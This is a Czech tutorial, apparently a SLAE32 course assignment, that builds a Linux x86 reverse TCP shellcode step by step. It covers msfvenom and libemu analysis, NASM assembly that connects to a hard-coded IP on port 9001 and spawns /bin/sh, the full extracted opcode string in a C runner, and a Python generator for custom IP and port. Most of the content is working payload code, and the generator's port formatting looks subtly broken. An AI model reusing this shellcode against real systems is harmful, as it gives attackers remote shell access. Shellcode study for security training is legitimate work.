Ve druhém textu této série bude demonstrováno, jak si vytvořit vlastní 32bitový reverse tcp shellcode s konfigurovatelným nastavením portu.
Jako inspirace bude použit shell_reverse_tcp z msfvenom, který bude analyzován pomocí libemu.
Všechny povinné možnosti nastavení můžeme vidět pomocí:
- msfvenom -p linux/x86/shell_reverse_tcp ––list-options
Jsou zde tři povinné nastavení a to „LPORT“, „LHOST“ a „CMD“.

Shellcode v C si můžeme vytvořit pomocí:
- msfvenom -p linux/x86/shell_reverse_tcp LPORT=9001 LHOST=127.0.0.1 -f c

Potom můžeme pomocí jednoduchého C skriptu spočítat délku shellcode:

Následně zkompilujeme C script a spustíme jej:
- gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Jak můžeme vidět na screenu výše, shellcode byl úspěšně spuštěn a došlo k otevření shell na portu 9001 na localhostu. Nyní můžeme shellcode analyzovat pomocí libemu.
- echo -ne “\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68\x02\x00\x23\x29\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80” | /opt/libemu/tools/sctest/sctest -vvv -Ss 100000 -G shellcode.dot
- dot shellcode.dot -T png -o shellcode.png

Můžeme vidět, že shell_reverse_tcp používá tyto syscally:
socket -> dup2 -> connect -> execve
Pomocí nástroje strace můžeme vidět, jaké parametry syscally používají:
- strace -e socket,dup2,connect,execve ./shellcode

Více informací o syscallu socket najdeme pomocí “man 2 socket” => int socket(int domain, int type, int protocol); budeme potřebovat celkem 4 registry.
Hodnoty najdeme pomocí:
- grep -R “_INET” /usr/include/
- PF_INET = 2
- grep -R “SOCK_STREAM” /usr/include/
- SOCK_STREAM = 1
- grep -R “IPPROTO_IP” /usr/include/
- IPPROTO_IP = 0
Nyní můžeme vytvořit první část v assembly:
; Filename: linux_x86_shell_reverse_tcp.nasm
; Author: SLAE-14209
global _start
section .text
_start:
; 1. syscall socket()
xor eax, eax ; zeroize EAX register
xor ebx, ebx ; zeroize EBX register
xor ecx, ecx ; zeroize ECX register
xor edx, edx ; zeroize EDX register
mov ax, 0x167 ; syscall socket
mov bl, 0x2 ; AF_INET = 2
mov cl, 0x1 ; SOCKET_STREAM = 1
int 0x80 ; interrupt vector
mov edi, eax ; storing EAX into EDI for future references
Jako další budeme potřebovat dup2 syscall:
- cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep dup2
- #define __NR_dup2 63 => EAX 0x3F
- man 2 dup2
- int dup2(int oldfd, int newfd);
- bude potřeba udělat 3x loop ECX:
- STDIN
- STDOUT
- STDERR
- bude potřeba udělat 3x loop ECX:
- int dup2(int oldfd, int newfd);
Všechny požadované argumenty pro dup2 jsou v sockfd, který je uložený v accept() syscallu => EDI
; 2. syscall dup2()
mov cl, 0x3 ; counter = 3
loop_dup2:
xor eax, eax ; zeroize because of placing dup2()
mov al, 0x3f ; syscall dup2()
mov ebx, edi ; reference on stored EDI
dec cl ; decrementing counter by 1
int 0x80
jnz loop_dup2 ; jmp not zero
Jako další budeme potřebovat connect syscall:
- cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep connect
- #define __NR_connect 362 => 0x16a
- man 2 connect
- int connect(int sockfd, const struct sockaddr *addr,
socklen_t addrlen);
- connect = EAX 0x16a
- sockfd = EBX => reference to socket (previous storing EAX into EDI)
- *addr = ECX => pointer to location on the stack of the sockaddr struct we are going to create
Sockaddr struct (ECX) je složený z:
- AF_INET => 2
- Port number => 9001 decimal = 0x2329 hex => little endian = 0x2923
- IP address 172.16.81.187 = 0xAC1051BB => little endian = 0xbb5110ac
- 0
- addrlen = EDX
- length of the address which the /usr/include/linux/in.h =>
- #define __SOCK_SIZE__ 16 /* sizeof(struct sockaddr) */ => 16
- length of the address which the /usr/include/linux/in.h =>
Stack roste z vyšších hodnot k nižším, proto musíme umisťovat argumenty do stacku v obráceném pořadí a používat little endian formát.
; 3. syscall connect()
xor eax, eax ; zeroize EAX register
mov ax, 0x16a ; syscall connect()
mov ebx, edi ; reference to stored eax with socket()
xor ecx, ecx ; zeroize ECX register (=> sockaddr struct)
push ecx ; 0
push dword 0xbb5110ac ; IP address 172.16.81.187 = 0xAC1051BB => little endian = 0xbb5110ac
push word 0x2923 ; push port number 9001 (little endian)
push word 0x2 ; push AF_INET 2
mov ecx, esp ; Stack Pointer -> ECX
mov dl, 16 ; addrlen (EDX) = 16
int 0x80
Jako další budeme potřebovat execve syscall:
- cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve
- #define __NR_execve 11 => 0xb
- man 2 execve:
- int execve(const char *pathname, char *const argv[],
char *const envp[]);
- execve = EAX
- pathname = EBX = ‘//bin/sh’ (length 8) terminated by null byte
- python
- code = ‘//bin/sh’
- code[::-1].encode(‘hex’)
- 0x68732f6e ; ‘hs/n”
- 0x69622f2f ; ‘ib//’
- python
- argv = ECX 0
- envp = EDX 0
; 4. syscall execve()
xor eax, eax ; zeroize because of placing execve()
push eax
push 0x68732f6e ; 'hs/n"
push 0x69622f2f ; 'ib//'
mov ebx, esp ; '//bin/sh' -> ESP
push eax ; push 0
mov edx, esp
push ebx
mov ecx, esp
mov al, 0xb ; syscall execve()
int 0x80
Kompletní nasm soubor můžete nalézt zde https://github.com/Pal1Sec/SLAE32/blob/master/Assignment%202/linux_x86_shell_reverse_tcp.nasm
Nasm soubor zkompilujeme:
- nasm -f elf32 -o linux_x86_shell_reverse_tcp.o linux_x86_shell_reverse_tcp.nasm
- ld linux_x86_shell_reverse_tcp.o -o linux_x86_shell_reverse_tcp
A spustíme:

Jak můžeme vidět výše reverse shellcode funguje a připojí se na port 9001.
Dále si extrahujeme shellcode:
- objdump -d ./linux_x86_shell_reverse_tcp|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

Vložíme do původního C skriptu:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc7\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x66\xb8\x6a\x01\x89\xfb\x31\xc9\x51\x68\xac\x10\x51\xbb\x66\x68\x23\x29\x66\x6a\x02\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Zkompilujeme:
- gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Jak můžeme vidět, vše funguje. Pro zajímavost můžeme zkusit test na virustotal:

Následně můžeme vše optimalizovat, aby byl port jednoduše konfigurovatelný, toho dosáhneme pomocí níže uvedeného python skriptu:
#!/usr/bin/env python3
import sys
import struct
import socket
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ip")
parser.add_argument('-p', "--port")
args = parser.parse_args()
port = int(args.port)
ip = args.ip
port = struct.pack("!H", port)
port = ("{}".format(''.join('\\x{:02}'.format(b) for b in port)))
ip = socket.inet_aton(ip)
ip = str(ip).lstrip("b'")
ip = ip.rstrip("'")
shellcode = """
\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x89\\xc7\\xb1\\x03\\x31\\xc0\\xb0\\x3f\\x89\\xfb\\xfe\\xc9\\xcd\\x80\\x75\\xf4\\x31\\xc0\\x66\\xb8\\x6a\\x01\\x89\\xfb\\x31\\xc9\\x51\\%s
\\x66\\x68%s
\\x66\\x6a\\x02\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80""" % (ip, port)
print ("Shellcode:")
print(shellcode.replace("\n", ""))

Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE32